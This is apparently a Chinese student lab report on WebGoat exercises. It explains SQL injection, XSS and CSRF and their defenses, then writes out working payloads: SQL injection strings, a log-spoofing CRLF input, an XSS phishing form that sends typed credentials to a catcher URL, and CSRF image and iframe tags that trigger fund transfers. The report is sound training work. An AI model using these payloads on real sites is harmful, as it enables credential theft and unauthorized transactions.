1. 实践基础
1.1 实践目标
1.1.1 实践对象
2.kali linux
1.1.2 实践内容
Webgoat实践
理解常用网络攻击技术的基本原理
1.1.3 实践要求
做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
抓图包括学号,P图或无学号,扣0.5分 (0.5分)
1.2 基础知识
1.2.1 SQL注入攻击
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.2.2 XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
1.2.3 CSRF攻击
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
1.2.4 WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
1.2.5 webgoat 配置
- 下载Jar包webgoat-container-7.0.1-war-exec.jar
将Jar包移动至文件目录下,执行命令运行Webgoat
java -jar webgoat-container-7.0.1-war-exec.jar
-
webgoat占用8080端口
-
浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面,课程可见左栏
- 可以发现左边栏好像缺点东西,这是编译后的java程序与Linux上的java Se版本不一致而产生的错误。
所以要先安装jdk,过程从简书上看的,很好搜。
安装完重试上面步骤,就可以发现,正常了!
1.3 基础问题回答
SQL注入攻击原理,如何防御
原理:Web应用对后台数据库查询语句处理存在的安全漏洞。即输入字符串中嵌入SQL指令,设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果;
防御手段:禁止提交含有特殊字符的字符串,加密数据库中的内容等。
XSS攻击的原理,如何防御
原理:利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
防御手段:提交表单时检测特殊字符或网站开发者运用转义安全字符手段消除网站的XSS漏洞等。
CSRF攻击原理,如何防御
原理:通过伪装来自受信任用户的请求来利用受信任的网站(钓鱼网站);
防御手段:对于每一个重要的post提交页面都使用验证码。网页包含web server产生的token,提交时也将该token提交到服务器,服务器进行判断,如果token不对就判定为CSRF攻击;定期清理cookie或不使用cookie。
2. 实践内容
2.1 SQL注入攻击
2.1.1 Command Injection(命令注入)
-
选中 Injection Flaws->Command Injection->inspect Element(检查元素)
-
右键点击复选框选择 Inspect 审查网页元素对源代码
-
View 可以看到网络端口使用情况和IP地址
2.1.2 Log Spoofing(日志欺骗)
- 通过在日志文件中插入脚本实现欺骗。
在User Name输入webgoat%0d%0aLogin Succeeded for username: mark20172327
,%0d表示空格,%0a表示换行; - 接下来点击登录会显示两行信息,第二行显示mark20172327登陆成功,证明登陆成功
2.1.3 Numeric SQL Injection(数字SQL注入)
- 允许用户查看天气数据,通过注入一条SQL语句来显示全部天气信息
- 通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的station字段填入
SELECT * FROM weather_data WHERE station = ?
这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上 - 审查网页元素对源代码
value="101"
进行修改,在城市编号101后添加or 1=1
,就会发现选择哥伦比亚,所有城市都会显示
2.1.4 String SQL Injection( 字符串型注入)
- 基于查询语句构造自己的SQL注入字符串,显示所有信用卡信息
- 使用
'
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容 - 输入查询的用户名
mark' or 1=1--
select表里面的所有数据
2.2 XSS攻击
2.2.1 Phishing with XSS(XSS钓鱼)
-
创建一个form要求填写用户名和密码
-
在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
2.2.2 Reflected XSS Attacks(反射型XSS攻击)
- 通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
- 序列码输入
<script>alert(" 20172327mark");</script>
后点击Submit,显示内容为script脚本指定的警告框
2.3 CSRF攻击
2.3.1 Cross Site Request Forgery (CSRF)(跨站请求伪造)
- 发一个电子邮件给newsgroup,内容包括一个有恶意请求的图片URL。这个URL指向“attack”(包含参数“Screen”和“Menu”,还有一个参数“transferFunds”(转账))。如果收到含有CSRF页面的邮件时,就会执行transferFunds。 在框中输入代码 ,当受害者浏览这个网页时,会发送一个transferFunds的请求,浏览器认为是正常的打开图片请求,但实际执行了恶意转账请求。
- 查看Parameters中的scr和menu
- 文本框中提交一个含有转账恶意请求的代码,
<img src="http://localhost:8080/WebGoat/attack?Screen=522&menu=900&transferFunds=2327 width="1" height="1"/>
2.3.2 CSRF Prompt By-Pass
- 网页上的手动发起的请求,通过HTML+JavaScript向服务器请求;这道题的要求我们确认用户转账,也就是说url需要使用下面两个参数:transferfunds=数额 和transferfunds=CONFIRM
- 查看确定Parameters中的scr和menu
- 在消息栏中输入
<iframe src="attack?Screen=325&menu=900&transferFunds=2327"> </iframe>
<iframe src="attack?Screen=325&menu=900&transferFunds=CONFIRM"> </iframe>
3.总结与体会
这是一个好软件,在网络攻击中有很好的训练意义。SQL注入攻击、XSS攻击和CSRF攻击,这些都会发生在我们身边,这次虽然理解大概原理,但还是比较片面,所以,还要深入学习,拓宽见识。
最后一次实验,我们就要说再见了,实验不难,就jsp那遇到点小麻烦,但很容易就解决了,这是一个新领域,这学期的学习让我学会了很多,也感悟了很多,未来一定会有更多的机会在更多的领域磨练自己,养成一个勤加积累的好习惯让自己逐渐成长。
加油!